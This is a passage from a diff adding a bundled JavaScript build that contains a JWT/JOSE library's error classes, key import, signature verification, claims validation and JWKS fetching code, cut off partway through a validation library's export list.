TypeError("Invalid base64url"); + encoded = encoded.replace(/-/g, "+").replace(/_/g, "/"); + } + const binary = atob(encoded), bytes = new Uint8Array(binary.length); + for (let i = 0; i < binary.length; i++) + bytes[i] = binary.charCodeAt(i); + return bytes; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/errors.js +var errors_exports = {}; +__export(errors_exports, { + JOSEAlgNotAllowed: () => JOSEAlgNotAllowed, + JOSEError: () => JOSEError, + JOSENotSupported: () => JOSENotSupported, + JWEDecryptionFailed: () => JWEDecryptionFailed, + JWEInvalid: () => JWEInvalid, + JWKInvalid: () => JWKInvalid, + JWKSInvalid: () => JWKSInvalid, + JWKSMultipleMatchingKeys: () => JWKSMultipleMatchingKeys, + JWKSNoMatchingKey: () => JWKSNoMatchingKey, + JWKSTimeout: () => JWKSTimeout, + JWSInvalid: () => JWSInvalid, + JWSSignatureVerificationFailed: () => JWSSignatureVerificationFailed, + JWTClaimValidationFailed: () => JWTClaimValidationFailed, + JWTExpired: () => JWTExpired, + JWTInvalid: () => JWTInvalid +}); +var JOSEError = class extends Error { + static code = "ERR_JOSE_GENERIC"; + code = "ERR_JOSE_GENERIC"; + constructor(message2, options) { + super(message2, options), this.name = this.constructor.name, Error.captureStackTrace?.(this, this.constructor); + } +}; +var JWTClaimValidationFailed = class extends JOSEError { + static code = "ERR_JWT_CLAIM_VALIDATION_FAILED"; + code = "ERR_JWT_CLAIM_VALIDATION_FAILED"; + claim; + reason; + payload; + constructor(message2, payload, claim = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + } +}; +var JWTExpired = class extends JOSEError { + static code = "ERR_JWT_EXPIRED"; + code = "ERR_JWT_EXPIRED"; + claim; + reason; + payload; + constructor(message2, payload, claim = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + } +}; +var JOSEAlgNotAllowed = class extends JOSEError { + static code = "ERR_JOSE_ALG_NOT_ALLOWED"; + code = "ERR_JOSE_ALG_NOT_ALLOWED"; +}; +var JOSENotSupported = class extends JOSEError { + static code = "ERR_JOSE_NOT_SUPPORTED"; + code = "ERR_JOSE_NOT_SUPPORTED"; +}; +var JWEDecryptionFailed = class extends JOSEError { + static code = "ERR_JWE_DECRYPTION_FAILED"; + code = "ERR_JWE_DECRYPTION_FAILED"; + constructor(message2 = "decryption operation failed", options) { + super(message2, options); + } +}; +var JWEInvalid = class extends JOSEError { + static code = "ERR_JWE_INVALID"; + code = "ERR_JWE_INVALID"; +}; +var JWSInvalid = class extends JOSEError { + static code = "ERR_JWS_INVALID"; + code = "ERR_JWS_INVALID"; +}; +var JWTInvalid = class extends JOSEError { + static code = "ERR_JWT_INVALID"; + code = "ERR_JWT_INVALID"; +}; +var JWKInvalid = class extends JOSEError { + static code = "ERR_JWK_INVALID"; + code = "ERR_JWK_INVALID"; +}; +var JWKSInvalid = class extends JOSEError { + static code = "ERR_JWKS_INVALID"; + code = "ERR_JWKS_INVALID"; +}; +var JWKSNoMatchingKey = class extends JOSEError { + static code = "ERR_JWKS_NO_MATCHING_KEY"; + code = "ERR_JWKS_NO_MATCHING_KEY"; + constructor(message2 = "no applicable key found in the JSON Web Key Set", options) { + super(message2, options); + } +}; +var JWKSMultipleMatchingKeys = class extends JOSEError { + [Symbol.asyncIterator] = async function* () { + }; + static code = "ERR_JWKS_MULTIPLE_MATCHING_KEYS"; + code = "ERR_JWKS_MULTIPLE_MATCHING_KEYS"; + constructor(message2 = "multiple matching keys found in the JSON Web Key Set", options) { + super(message2, options); + } +}; +var JWKSTimeout = class extends JOSEError { + static code = "ERR_JWKS_TIMEOUT"; + code = "ERR_JWKS_TIMEOUT"; + constructor(message2 = "request timed out", options) { + super(message2, options); + } +}; +var JWSSignatureVerificationFailed = class extends JOSEError { + static code = "ERR_JWS_SIGNATURE_VERIFICATION_FAILED"; + code = "ERR_JWS_SIGNATURE_VERIFICATION_FAILED"; + constructor(message2 = "signature verification failed", options) { + super(message2, options); + } +}; + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js +var invalid = "The input to be decoded is not correctly encoded."; +function decode(input) { + try { + return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + } catch (cause) { + throw new TypeError(invalid, { cause }); + } +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js +function isObject(input) { + if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") + return false; + const prototype = Object.getPrototypeOf(input); + return prototype === null || Object.getPrototypeOf(prototype) === null; +} +function isJwkSet(input) { + return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +} +function isDisjoint(...headers) { + const parameters = /* @__PURE__ */ new Set(); + for (const header of headers) + if (header) + for (const parameter of Object.keys(header)) { + if (parameters.has(parameter)) + return false; + parameters.add(parameter); + } + return true; +} +function decodeBase64url(value, label, ErrorClass) { + try { + return decode(value); + } catch { + throw new ErrorClass(`Failed to base64url decode the ${label}`); + } +} +function encodeBase64url(value, label, ErrorClass) { + try { + return encode(value); + } catch { + throw new ErrorClass(`The ${label} is not a valid base64url string`); + } +} +function parseJoseHeader(b64, ErrorClass, message2) { + let parsed; + try { + parsed = JSON.parse(strictDecoder.decode(decode(b64))); + } catch { + throw new ErrorClass(message2); + } + if (!isObject(parsed)) + throw new ErrorClass(message2); + return parsed; +} +var JWS_RECOGNIZED = { __proto__: null, b64: true }; +function validateAlgorithms(option, algorithms) { + if (algorithms !== void 0 && (!Array.isArray(algorithms) || algorithms.some((s) => typeof s != "string"))) + throw new TypeError(`"${option}" option must be an array of strings`); + return algorithms === void 0 ? void 0 : new Set(algorithms); +} +function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, joseHeader) { + if (joseHeader.crit !== void 0 && protectedHeader?.crit === void 0) + throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); + if (!protectedHeader || protectedHeader.crit === void 0) + return []; + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); + const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; + for (const parameter of protectedHeader.crit) { + if (!(parameter in recognized)) + throw new JOSENotSupported(`Extension Header Parameter "${parameter}" is not recognized`); + if (!Object.hasOwn(joseHeader, parameter) || joseHeader[parameter] === void 0) + throw new Err(`Extension Header Parameter "${parameter}" is missing`); + if (recognized[parameter] && (!Object.hasOwn(protectedHeader, parameter) || protectedHeader[parameter] === void 0)) + throw new Err(`Extension Header Parameter "${parameter}" MUST be integrity protected`); + } + return protectedHeader.crit; +} +function validateB64(protectedHeader, extensions) { + if (extensions.includes("b64")) { + const b64 = protectedHeader.b64; + if (typeof b64 != "boolean") + throw new JWSInvalid('The "b64" (base64url-encode payload) Header Parameter must be a boolean'); + return b64; + } + return true; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/key.js +var tag = (key) => key[Symbol.toStringTag]; +var jwkMatchesOp = (entry, key, usage) => { + const { alg } = entry; + if (key.use !== void 0) { + const expected = usage === "sign" || usage === "verify" ? "sig" : "enc"; + if (key.use !== expected) + throw new TypeError(`Invalid key for this operation, its "use" must be "${expected}" when present`); + } + if (key.alg !== void 0 && key.alg !== alg) + throw new TypeError(`Invalid key for this operation, its "alg" must be "${alg}" when present`); + if (Array.isArray(key.key_ops)) { + const expectedKeyOp = usage === "encrypt" || usage === "decrypt" ? entry.ops?.[usage === "encrypt" ? 0 : 1] : usage; + if (expectedKeyOp && !key.key_ops.includes(expectedKeyOp)) + throw new TypeError(`Invalid key for this operation, its "key_ops" must include "${expectedKeyOp}" when present`); + } +}; +async function prepareKey(entry, key, usage) { + const { alg, secret } = entry, privateKey = usage === "decrypt" || usage === "sign"; + if (secret && key instanceof Uint8Array) + return key; + let normalized, keyObject; + if (isObject(key)) { + if (normalized = normalizeJwk(key), typeof normalized.kty != "string") + throw invalidKeyType(alg, key, secret); + if (!(secret ? normalized.kty === "oct" && typeof normalized.k == "string" : normalized.kty !== "oct" && (privateKey ? normalized.kty === "AKP" && typeof normalized.priv == "string" || typeof normalized.d == "string" : normalized.d === void 0 && normalized.priv === void 0))) + throw new TypeError(secret ? 'JSON Web Key for symmetric algorithms must have JWK "kty" (Key Type) equal to "oct" and the JWK "k" (Key Value) present' : `JSON Web Key for this operation must be a ${privateKey ? "private" : "public"} JWK`); + if (jwkMatchesOp(entry, normalized, usage), normalized.kty === "oct") + return decode(normalized.k); + if (!Object.isFrozen(key)) { + const { key_ops } = key; + Array.isArray(key_ops) && Object.freeze(key_ops), Object.freeze(key); + } + } else { + if (!isKeyLike(key)) + throw invalidKeyType(alg, key, secret); + const expectedType = secret ? "secret" : privateKey ? "private" : "public"; + if (key.type !== expectedType && (secret || ["secret", "public", "private"].includes(key.type))) + throw new TypeError(`${tag(key)} instances must be of type "${expectedType}" for the ${alg} algorithm`); + if (isCryptoKey(key)) + return key; + if (keyObject = key, keyObject.type === "secret") + return keyObject.export(); + } + cache ||= /* @__PURE__ */ new WeakMap(); + const cacheKey = key; + let cached2 = cache.get(cacheKey); + if (cached2?.[alg]) + return cached2[alg]; + if (cached2 || cache.set(cacheKey, cached2 = {}), keyObject && typeof keyObject.toCryptoKey == "function") { + const isPublic = keyObject.type === "public", crv = nist[keyObject.asymmetricKeyDetails?.namedCurve], params = entry.resolve?.({ crv, asymmetricKeyType: keyObject.asymmetricKeyType }) ?? entry.subtle; + return cached2[alg] = keyObject.toCryptoKey(params, isPublic, entry.usages[isPublic ? 0 : 1]); + } + return normalized ??= keyObject.export({ format: "jwk" }), normalized.alg = alg, cached2[alg] = await jwkToKey(entry, normalized); +} +var cache; +var nist = { + __proto__: null, + prime256v1: "P-256", + secp384r1: "P-384", + secp521r1: "P-521" +}; +var isCryptoKey = (key) => { + if (key?.[Symbol.toStringTag] === "CryptoKey") + return true; + try { + return key instanceof CryptoKey; + } catch { + return false; + } +}; +var isKeyObject = (key) => key?.[Symbol.toStringTag] === "KeyObject"; +var isKeyLike = (key) => isCryptoKey(key) || isKeyObject(key); +function message(msg, actual, ...types2) { + if (types2.length > 2) { + const last = types2.pop(); + msg += `one of type ${types2.join(", ")}, or ${last}.`; + } else types2.length === 2 ? msg += `one of type ${types2[0]} or ${types2[1]}.` : msg += `of type ${types2[0]}.`; + return actual == null ? msg += ` Received ${actual}` : typeof actual == "function" && actual.name ? msg += ` Received function ${actual.name}` : typeof actual == "object" && actual != null && actual.constructor?.name && (msg += ` Received an instance of ${actual.constructor.name}`), msg; +} +function invalidKeyType(alg, actual, secret) { + const types2 = ["CryptoKey", "KeyObject", "JSON Web Key"]; + return secret && types2.push("Uint8Array"), new TypeError(message(`Key for the ${alg} algorithm must be `, actual, ...types2)); +} +var unusable = (name, prop = "algorithm.name") => new TypeError(`CryptoKey does not support this operation, its ${prop} must be ${name}`); +function checkUsage(key, usage) { + if (usage && !key.usages.includes(usage)) + throw new TypeError(`CryptoKey does not support this operation, its usages must include ${usage}.`); +} +function checkModulusLength(alg, key) { + const { modulusLength } = key.algorithm; + if (typeof modulusLength != "number" || modulusLength < 2048) + throw new TypeError(`${alg} requires key modulusLength to be 2048 bits or larger`); +} +function checkCryptoKey(key, expected, usage) { + const algorithm = key.algorithm; + if (algorithm.name !== expected.name) + throw unusable(expected.name); + if (expected.hash && algorithm.hash?.name !== expected.hash) + throw unusable(expected.hash, "algorithm.hash"); + if (expected.namedCurve && algorithm.namedCurve !== expected.namedCurve) + throw unusable(expected.namedCurve, "algorithm.namedCurve"); + if (expected.length !== void 0 && algorithm.length !== expected.length) + throw unusable(expected.length, "algorithm.length"); + checkUsage(key, usage); +} +function snapshotJwk(jwk) { + return { __proto__: null, ...jwk }; +} +function normalizeJwk(jwk) { + const normalized = snapshotJwk(jwk); + if (normalized.ext !== void 0 && typeof normalized.ext != "boolean") + throw new TypeError('"ext" (Extractable) Parameter must be a boolean'); + if (normalized.key_ops !== void 0) { + const value = normalized.key_ops, keyOps = Array.isArray(value) ? [...value] : void 0; + if (!keyOps || keyOps.some((operation) => typeof operation != "string") || new Set(keyOps).size !== keyOps.length) + throw new TypeError('"key_ops" (Key Operations) Parameter must be an array of unique strings'); + normalized.key_ops = keyOps; + } + return normalized; +} +async function jwkToKey(entry, jwk, extractable) { + if (!entry.kty.includes(jwk.kty)) + throw new JOSENotSupported('Invalid or unsupported JWK "alg" (Algorithm) Parameter value'); + const algorithm = entry.resolve?.({ kty: jwk.kty, crv: jwk.crv }) ?? entry.subtle, isPrivate = !!(jwk.d || jwk.priv), keyData = { ...jwk, ext: extractable ?? jwk.ext }; + return keyData.kty !== "AKP" && delete keyData.alg, delete keyData.use, crypto.subtle.importKey("jwk", keyData, algorithm, keyData.ext ?? !isPrivate, jwk.key_ops ?? entry.usages[isPrivate ? 1 : 0]); +} +async function rawKey(key, expected, usage, extractable = false) { + return key instanceof Uint8Array && (key = await crypto.subtle.importKey("raw", key, expected, extractable, [usage])), checkCryptoKey(key, expected, usage), key; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/key_descriptor.js +function table(entries) { + const out = { __proto__: null }; + for (const alg in entries) + out[alg] = { ...entries[alg], alg }; + return out; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/jws_algorithms.js +var sig = [["verify"], ["sign"]]; +function hmac(bits) { + const subtle = { name: "HMAC", hash: `SHA-${bits}` }; + return { kty: ["oct"], secret: true, subtle, signing: subtle, usages: sig }; +} +function rsa(bits, saltLength) { + const subtle = { name: saltLength ? "RSA-PSS" : "RSASSA-PKCS1-v1_5", hash: `SHA-${bits}` }; + return { + kty: ["RSA"], + subtle, + signing: saltLength ? { ...subtle, saltLength } : subtle, + usages: sig, + minRsaBits: 2048 + }; +} +function ecdsa(crv, bits) { + return { + kty: ["EC"], + crv, + subtle: { name: "ECDSA", namedCurve: crv }, + signing: { name: "ECDSA", hash: `SHA-${bits}` }, + usages: sig + }; +} +function eddsa() { + const subtle = { name: "Ed25519" }; + return { + kty: ["OKP"], + crv: "Ed25519", + subtle, + signing: subtle, + usages: sig + }; +} +function mldsa(bits) { + const subtle = { name: `ML-DSA-${bits}` }; + return { + kty: ["AKP"], + subtle, + signing: subtle, + usages: sig + }; +} +var JWS = table({ + HS256: hmac(256), + HS384: hmac(384), + HS512: hmac(512), + RS256: rsa(256), + RS384: rsa(384), + RS512: rsa(512), + PS256: rsa(256, 32), + PS384: rsa(384, 48), + PS512: rsa(512, 64), + ES256: ecdsa("P-256", 256), + ES384: ecdsa("P-384", 384), + ES512: ecdsa("P-521", 512), + EdDSA: eddsa(), + Ed25519: eddsa(), + "ML-DSA-44": mldsa(44), + "ML-DSA-65": mldsa(65), + "ML-DSA-87": mldsa(87) +}); +function jwsAlgorithm(alg) { + const entry = typeof alg == "string" ? JWS[alg] : void 0; + if (!entry) + throw new JOSENotSupported(`alg ${alg} is not supported either by JOSE or your javascript runtime`); + return entry; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/jws_verify.js +function prepareVerify(options) { + return [options && validateAlgorithms("algorithms", options.algorithms), options?.crit]; +} +function parseProtectedHeader(encodedProtected) { + return encodedProtected === void 0 ? {} : parseJoseHeader(encodedProtected, JWSInvalid, "JWS Protected Header is invalid"); +} +function encodeCompactUnencodedPayload(payload) { + try { + return encode(payload); + } catch { + throw new JWSInvalid("JWS Compact Serialization payload must use only ASCII characters"); + } +} +async function verifySignature(jws, shared, key, encodeUnencodedPayload, parsedProtected) { + const { protected: encodedProtected, header, payload: inputPayload } = jws, parsedProt = parsedProtected ?? parseProtectedHeader(encodedProtected); + if (!isDisjoint(parsedProt, header)) + throw new JWSInvalid("JWS Protected and JWS Unprotected Header Parameter names must be disjoint"); + const joseHeader = { ...parsedProt, ...header }, b64 = validateB64(parsedProt, validateCrit(JWSInvalid, JWS_RECOGNIZED, shared[1], parsedProt, joseHeader)), { alg } = joseHeader; + if (typeof alg != "string" || !alg) + throw new JWSInvalid('JWS "alg" (Algorithm) Header Parameter missing or invalid'); + if (shared[0] && !shared[0].has(alg)) + throw new JOSEAlgNotAllowed('"alg" (Algorithm) Header Parameter value not allowed'); + if (b64) { + if (typeof inputPayload != "string") + throw new JWSInvalid("JWS Payload must be a string"); + } else if (typeof inputPayload != "string" && !(inputPayload instanceof Uint8Array)) + throw new JWSInvalid("JWS Payload must be a string or an Uint8Array instance"); + const signingPayload = b64 || typeof inputPayload != "string" ? inputPayload : encodeUnencodedPayload(inputPayload); + let resolvedKey = false; + typeof key == "function" && (key = await key(parsedProt, jws), resolvedKey = true); + const entry = jwsAlgorithm(alg), data = concat(encodedProtected !== void 0 ? encode(encodedProtected) : new Uint8Array(), encode("."), typeof signingPayload == "string" ? shared[2] ??= encodeBase64url(signingPayload, "payload", JWSInvalid) : signingPayload), signature = decodeBase64url(jws.signature, "signature", JWSInvalid), k = await prepareKey(entry, key, "verify"), cryptoKey = await rawKey(k, entry.subtle, "verify"); + entry.minRsaBits && checkModulusLength(entry.alg, cryptoKey); + let verified = false; + try { + verified = await crypto.subtle.verify(entry.signing, cryptoKey, signature, data); + } catch { + } + if (!verified) + throw new JWSSignatureVerificationFailed(); + const result = { payload: typeof signingPayload == "string" ? decodeBase64url(signingPayload, "payload", JWSInvalid) : signingPayload }; + return encodedProtected !== void 0 && (result.protectedHeader = parsedProt), header !== void 0 && (result.unprotectedHeader = header), resolvedKey ? [{ ...result, key: k }, b64] : [result, b64]; +} +async function verifyCompact(jws, shared, key) { + if (jws instanceof Uint8Array && (jws = decoder.decode(jws)), typeof jws != "string") + throw new JWSInvalid("Compact JWS must be a string or Uint8Array"); + const { 0: protectedHeader, 1: payload, 2: signature, length } = jws.split("."); + if (length !== 3) + throw new JWSInvalid("Invalid Compact JWS"); + return verifySignature({ payload, protected: protectedHeader, signature }, shared, key, encodeCompactUnencodedPayload); +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/jwt_claims_set.js +var epoch = (date6) => Math.floor(date6.getTime() / 1e3); +var multipliers = { + s: 1, + m: 60, + h: 3600, + d: 86400, + w: 604800, + y: 31557600 +}; +var REGEX = /^(\+|\-)? ?(\d+|\d+\.\d+) ?(seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)(?: (ago|from now))?$/i; +var checkFailed = "check_failed"; +function invalidDuration() { + throw new TypeError("Invalid time period format"); +} +function secs(str) { + typeof str != "string" && invalidDuration(); + const matched = REGEX.exec(str); + (!matched || matched[4] && matched[1]) && invalidDuration(); + const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); + return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; +} +function validateInput(label, input) { + if (!Number.isFinite(input)) + throw new TypeError(`Invalid ${label} input`); + return input; +} +var normalizeTyp = (value) => { + const normalized = value.toLowerCase(); + return value.includes("/") ? normalized : `application/${normalized}`; +}; +var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; +function validateNumericDate(payload, claim, required2 = false) { + const value = payload[claim]; + if (!(value === void 0 && !required2)) { + if (typeof value != "number") + throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + return value; + } +} +function unexpectedClaim(payload, claim) { + throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +} +function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { + let payload; + try { + payload = JSON.parse(strictDecoder.decode(encodedPayload)); + } catch { + } + if (!isObject(payload)) + throw new JWTInvalid("JWT Claims Set must be a top-level JSON object"); + const { typ } = options; + if (typ !== void 0 && (typeof protectedHeader.typ != "string" || normalizeTyp(protectedHeader.typ) !== normalizeTyp(typ))) + throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); + const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; + maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); + for (const claim of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim)) + throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); + const { clockTolerance } = options; + let tolerance = 0; + if (typeof clockTolerance == "string") + tolerance = secs(clockTolerance); + else if (clockTolerance !== void 0) { + if (typeof clockTolerance != "number") + throw new TypeError("Invalid clockTolerance option type"); + tolerance = clockTolerance; + } + validateInput("clockTolerance option", tolerance); + const { currentDate } = options, now = validateInput("currentDate option", epoch(currentDate === void 0 ? /* @__PURE__ */ new Date() : currentDate)), iat = validateNumericDate(payload, "iat", maxTokenAge !== void 0), nbf = validateNumericDate(payload, "nbf"); + if (nbf !== void 0 && nbf > now + tolerance) + throw new JWTClaimValidationFailed('"nbf" claim timestamp check failed', payload, "nbf", checkFailed); + const exp = validateNumericDate(payload, "exp"); + if (exp !== void 0 && exp <= now - tolerance) + throw new JWTExpired('"exp" claim timestamp check failed', payload, "exp", checkFailed); + if (maxTokenAge !== void 0) { + const age = now - iat, max = validateInput("maxTokenAge option", typeof maxTokenAge == "number" ? maxTokenAge : secs(maxTokenAge)); + if (age - tolerance > max) + throw new JWTExpired('"iat" claim timestamp check failed (too far in the past)', payload, "iat", checkFailed); + if (age < -tolerance) + throw new JWTClaimValidationFailed('"iat" claim timestamp check failed (it should be in the past)', payload, "iat", checkFailed); + } + return payload; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/jwt/verify.js +async function jwtVerify(jwt2, key, options) { + const [verified, b64] = await verifyCompact(jwt2, prepareVerify(options), key); + if (!b64) + throw new JWTInvalid("JWTs MUST NOT use unencoded payload"); + const payload = validateClaimsSet(verified.protectedHeader, verified.payload, options); + return { ...verified, payload }; +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/jwks/local.js +function isUsableJWK(jwk, entry, alg, kid) { + const { kty, key_ops: keyOps, ext, kid: jwkKid, alg: jwkAlg, use, crv } = jwk; + return (ext === void 0 || typeof ext == "boolean") && (keyOps === void 0 || Array.isArray(keyOps) && keyOps.every((operation, index2) => typeof operation == "string" && keyOps.indexOf(operation) === index2) && keyOps.includes("verify")) && entry.kty.includes(kty) && (kid === void 0 || typeof kid == "string" && kid === jwkKid) && (jwkAlg === void 0 ? kty !== "AKP" : alg === jwkAlg) && (use === void 0 || use === "sig") && (!entry.crv || crv === entry.crv); +} +async function importWithAlgCache(cache2, jwk, entry) { + const cached2 = cache2.get(jwk) || cache2.set(jwk, {}).get(jwk), { alg } = entry; + if (cached2[alg] === void 0) { + const pending = jwkToKey(entry, jwk, true).then((key) => { + if (key.type !== "public") + throw new JWKSInvalid("JSON Web Key Set members must be public keys"); + return cached2[alg] = key, key; + }).catch((error51) => { + throw cached2[alg] === pending && delete cached2[alg], error51; + }); + cached2[alg] = pending; + } + return cached2[alg]; +} +function createLocalJWKSet(jwks) { + let snapshot; + try { + snapshot = structuredClone(jwks); + } catch { + } + if (!isJwkSet(snapshot)) + throw new JWKSInvalid("JSON Web Key Set malformed"); + const metadata = snapshot.keys.map((jwk) => { + const normalized = snapshotJwk(jwk); + return Array.isArray(normalized.key_ops) && (normalized.key_ops = [...normalized.key_ops]), normalized; + }), cached2 = /* @__PURE__ */ new WeakMap(); + return Object.defineProperty(async (protectedHeader, token) => { + const { alg, kid } = { ...protectedHeader, ...token?.header }, entry = typeof alg == "string" ? JWS[alg] : void 0; + if (!entry || entry.secret) + throw new JOSENotSupported('Unsupported "alg" value for a JSON Web Key Set'); + const candidates = snapshot.keys.filter((_, index2) => isUsableJWK(metadata[index2], entry, alg, kid)), { 0: jwk, length } = candidates; + if (!length) + throw new JWKSNoMatchingKey(); + if (length !== 1) { + const error51 = new JWKSMultipleMatchingKeys(); + throw error51[Symbol.asyncIterator] = async function* () { + for (const jwk2 of candidates) + try { + yield await importWithAlgCache(cached2, jwk2, entry); + } catch { + } + }, error51; + } + return importWithAlgCache(cached2, jwk, entry); + }, "jwks", { + value: () => structuredClone(snapshot) + }); +} + +// node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/jwks/remote.js +function isCloudflareWorkers() { + return typeof WebSocketPair < "u" || typeof navigator < "u" && navigator.userAgent === "Cloudflare-Workers" || typeof EdgeRuntime < "u" && EdgeRuntime === "vercel"; +} +var USER_AGENT; +(typeof navigator > "u" || !navigator.userAgent?.startsWith?.("Mozilla/5.0 ")) && (USER_AGENT = "jose/v6.2.12"); +var customFetch = /* @__PURE__ */ Symbol(); +async function fetchJwks(url2, headers, signal, fetchImpl = fetch) { + const response = await fetchImpl(url2, { + method: "GET", + signal, + redirect: "manual", + headers + }).catch((err) => { + throw err.name === "TimeoutError" ? new JWKSTimeout() : err; + }); + if (response.status !== 200) + throw new JOSEError("Expected 200 OK from the JSON Web Key Set HTTP response"); + try { + return await response.json(); + } catch { + throw new JOSEError("Failed to parse the JSON Web Key Set HTTP response as JSON"); + } +} +var jwksCache = /* @__PURE__ */ Symbol(); +function isFreshFor(timestamp2, duration3) { + return Number.isFinite(timestamp2) && Date.now() < timestamp2 + duration3; +} +function validateDuration(value, fallback, option) { + if (Number.isNaN(value)) + throw new TypeError(`"${option}" option must not be NaN`); + return typeof value == "number" ? value : fallback; +} +function createRemoteJWKSet(url2, options) { + if (!(url2 instanceof URL)) + throw new TypeError("url must be an instance of URL"); + const href = new URL(url2.href).href, opts = options ?? {}, timeoutOption = opts.timeoutDuration; + if (typeof timeoutOption == "number" && (!Number.isInteger(timeoutOption) || timeoutOption < 0)) + throw new TypeError('"timeoutDuration" option must be a non-negative integer'); + const timeoutDuration = typeof timeoutOption == "number" ? timeoutOption : 5e3, cooldownDuration = validateDuration(opts.cooldownDuration, 3e4, "cooldownDuration"), cacheMaxAge = validateDuration(opts.cacheMaxAge, 6e5, "cacheMaxAge"), headers = new Headers(opts.headers); + USER_AGENT && !headers.has("User-Agent") && headers.set("User-Agent", USER_AGENT), headers.has("accept") || headers.set("accept", "application/json, application/jwk-set+json"); + const fetchImpl = opts[customFetch], cache2 = opts[jwksCache]; + let jwksTimestamp, pendingFetch, reloadSequence = 0, appliedSequence = 0, local; + if (cache2 && typeof cache2 == "object") { + const { uat, jwks } = cache2; + isFreshFor(uat, cacheMaxAge) && isJwkSet(jwks) && (jwksTimestamp = uat, local = createLocalJWKSet(jwks)); + } + const reload = async () => { + if (pendingFetch && isCloudflareWorkers() && (pendingFetch = void 0), !pendingFetch) { + const sequence = ++reloadSequence, current = pendingFetch = fetchJwks(href, headers, AbortSignal.timeout(timeoutDuration), fetchImpl).then((json3) => { + const next = createLocalJWKSet(json3); + if (sequence <= appliedSequence) + return; + local = next; + const updatedAt = Date.now(); + cache2 && (cache2.uat = updatedAt, cache2.jwks = json3), jwksTimestamp = updatedAt, appliedSequence = sequence; + }).finally(() => { + pendingFetch === current && (pendingFetch = void 0); + }); + } + await pendingFetch; + }; + return Object.defineProperties(async (protectedHeader, token) => { + (!local || !isFreshFor(jwksTimestamp, cacheMaxAge)) && await reload(); + try { + return await local(protectedHeader, token); + } catch (err) { + if (err instanceof JWKSNoMatchingKey && !isFreshFor(jwksTimestamp, cooldownDuration)) + return await reload(), local(protectedHeader, token); + throw err; + } + }, { + coolingDown: { + get: () => isFreshFor(jwksTimestamp, cooldownDuration), + enumerable: true + }, + fresh: { + get: () => isFreshFor(jwksTimestamp, cacheMaxAge), + enumerable: true + }, + reload: { + value: reload, + enumerable: true + }, + reloading: { + get: () => !!pendingFetch, + enumerable: true + }, + jwks: { + value: () => local?.jwks(), + enumerable: true + } + }); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +var external_exports = {}; +__export(external_exports, { + $brand: () => $brand, + $input: () => $input, + $output: () => $output, + NEVER: () => NEVER, + TimePrecision: () => TimePrecision, + ZodAny: () => ZodAny, + ZodArray: () => ZodArray, + ZodBase64: () => ZodBase64, + ZodBase64URL: () => ZodBase64URL, + ZodBigInt: () => ZodBigInt, + ZodBigIntFormat: () => ZodBigIntFormat, + ZodBoolean: () => ZodBoolean, + ZodCIDRv4: () => ZodCIDRv4, + ZodCIDRv6: () => ZodCIDRv6, + ZodCUID: () => ZodCUID, + ZodCUID2: () => ZodCUID2, + ZodCatch: () => ZodCatch, + ZodCodec: () => ZodCodec, + ZodCustom: () => ZodCustom, + ZodCustomStringFormat: () => ZodCustomStringFormat, + ZodDate: () => ZodDate, + ZodDefault: () => ZodDefault, + ZodDiscriminatedUnion: () => ZodDiscriminatedUnion, + ZodE164: () => ZodE164, + ZodEmail: () => ZodEmail, + ZodEmoji: () => ZodEmoji, + ZodEnum: () => ZodEnum, + ZodError: () => ZodError, + ZodExactOptional: () => ZodExactOptional, + ZodFile: () => ZodFile, + 